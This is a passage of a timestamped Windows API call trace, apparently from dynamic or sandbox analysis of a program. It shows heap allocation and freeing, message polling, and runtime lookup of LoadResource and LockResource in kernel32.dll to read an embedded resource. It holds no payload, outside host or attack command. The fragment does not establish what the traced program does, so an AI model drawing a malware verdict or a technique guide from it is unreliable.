wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5f8 [0134.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0134.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0134.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5f8 | out: hHeap=0xe80000) returned 1 [0134.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0134.162] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0134.163] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf568 [0134.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0134.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0134.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf568 | out: hHeap=0xe80000) returned 1 [0134.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0134.163] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.164] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5d8 [0134.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0134.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0134.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5d8 | out: hHeap=0xe80000) returned 1 [0134.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0134.165] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.165] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf528 [0134.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf648 [0134.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0134.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0134.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf648 | out: hHeap=0xe80000) returned 1 [0134.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf528 | out: hHeap=0xe80000) returned 1 [0134.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0134.166] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5e8 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770a8 [0134.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e50 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf478 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0134.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076dd8 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf458 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076df0 [0134.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf458 | out: hHeap=0xe80000) returned 1 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077030 [0134.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5f8 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f28 [0134.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5f8 | out: hHeap=0xe80000) returned 1 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077048 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf648 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fe8 [0134.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf648 | out: hHeap=0xe80000) returned 1 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fb8 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf5f8 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ec8 [0134.167] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f40 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf488 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf568 [0134.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f88 [0134.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0134.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf488 | out: hHeap=0xe80000) returned 1 [0134.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0134.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf568 | out: hHeap=0xe80000) returned 1 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9f08 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf528 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e20 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf598 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf608 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077000 [0134.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077000 | out: hHeap=0xe80000) returned 1 [0134.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf608 | out: hHeap=0xe80000) returned 1 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4b8 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e20 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf5d8 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf608 [0134.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0134.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5d8 | out: hHeap=0xe80000) returned 1 [0134.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0134.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf608 | out: hHeap=0xe80000) returned 1 [0134.168] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0134.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0134.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf598 [0134.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadResource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0134.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xd) returned 0x1077000 [0134.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadResource", cchWideChar=13, lpMultiByteStr=0x1077000, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LoadResource", lpUsedDefaultChar=0x0) returned 13 [0134.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077000 | out: hHeap=0xe80000) returned 1 [0134.169] GetProcAddress (hModule=0x770a0000, lpProcName="LoadResource") returned 0x770b76f0 [0134.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0134.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9a58 [0134.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf548 [0134.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf638 [0134.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf548 | out: hHeap=0xe80000) returned 1 [0134.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9a58 | out: hHeap=0xe80000) returned 1 [0134.170] LoadResource (hModule=0x0, hResInfo=0x3776a8) returned 0x3e5bac [0134.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf598 [0134.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xefc430 [0134.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076e98 [0134.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f88 [0134.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e20 [0134.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077060 [0134.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4e8 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077060 | out: hHeap=0xe80000) returned 1 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077060 [0134.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e20 [0134.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077078 [0134.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4d8 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077078 | out: hHeap=0xe80000) returned 1 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4d8 | out: hHeap=0xe80000) returned 1 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077000 [0134.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e20 [0134.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0134.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4e8 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.171] FreeLibrary (hLibModule=0x770a0000) returned 1 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf528 | out: hHeap=0xe80000) returned 1 [0134.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4b8 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f08 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5f8 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0134.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0134.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076df0 | out: hHeap=0xe80000) returned 1 [0134.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dd8 | out: hHeap=0xe80000) returned 1 [0134.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f28 | out: hHeap=0xe80000) returned 1 [0134.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077030 | out: hHeap=0xe80000) returned 1 [0134.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fe8 | out: hHeap=0xe80000) returned 1 [0134.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077048 | out: hHeap=0xe80000) returned 1 [0134.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fb8 | out: hHeap=0xe80000) returned 1 [0134.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0134.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0134.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077030 [0134.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0134.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077030 | out: hHeap=0xe80000) returned 1 [0134.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0134.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077060 | out: hHeap=0xe80000) returned 1 [0134.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077000 | out: hHeap=0xe80000) returned 1 [0134.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0134.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0134.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5e8 | out: hHeap=0xe80000) returned 1 [0134.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077018 | out: hHeap=0xe80000) returned 1 [0134.175] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9a80 [0134.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0134.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4c8 [0134.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4c8 | out: hHeap=0xe80000) returned 1 [0134.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0134.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f40 [0134.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf5b8 [0134.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0134.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9a80 | out: hHeap=0xe80000) returned 1 [0134.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0134.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5b8 | out: hHeap=0xe80000) returned 1 [0134.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0134.176] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.176] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0134.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077078 [0134.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770a8 [0134.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0134.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077078 | out: hHeap=0xe80000) returned 1 [0134.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0134.177] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.177] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.177] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4c8 [0134.177] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4d8 [0134.177] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0134.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0134.178] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.178] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4f8 [0134.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5d8 [0134.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0134.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0134.178] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf568 [0134.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9f08 [0134.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f28 [0134.178] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0134.178] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0134.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LockResource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0134.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LockResource", cchWideChar=13, lpMultiByteStr=0x1076fe8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LockResource", lpUsedDefaultChar=0x0) returned 13 [0134.179] GetProcAddress (hModule=0x770a0000, lpProcName="LockResource") returned 0x770b7890 [0134.179] LockResource (hResData=0x3e5bac) returned 0x3e5bac [0134.179] FreeLibrary (hLibModule=0x770a0000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9da0 | out: hHeap=0xe80000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf458 | out: hHeap=0xe80000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dd8 | out: hHeap=0xe80000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f28 | out: hHeap=0xe80000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077030 | out: hHeap=0xe80000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0134.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ee0 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fa0 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: 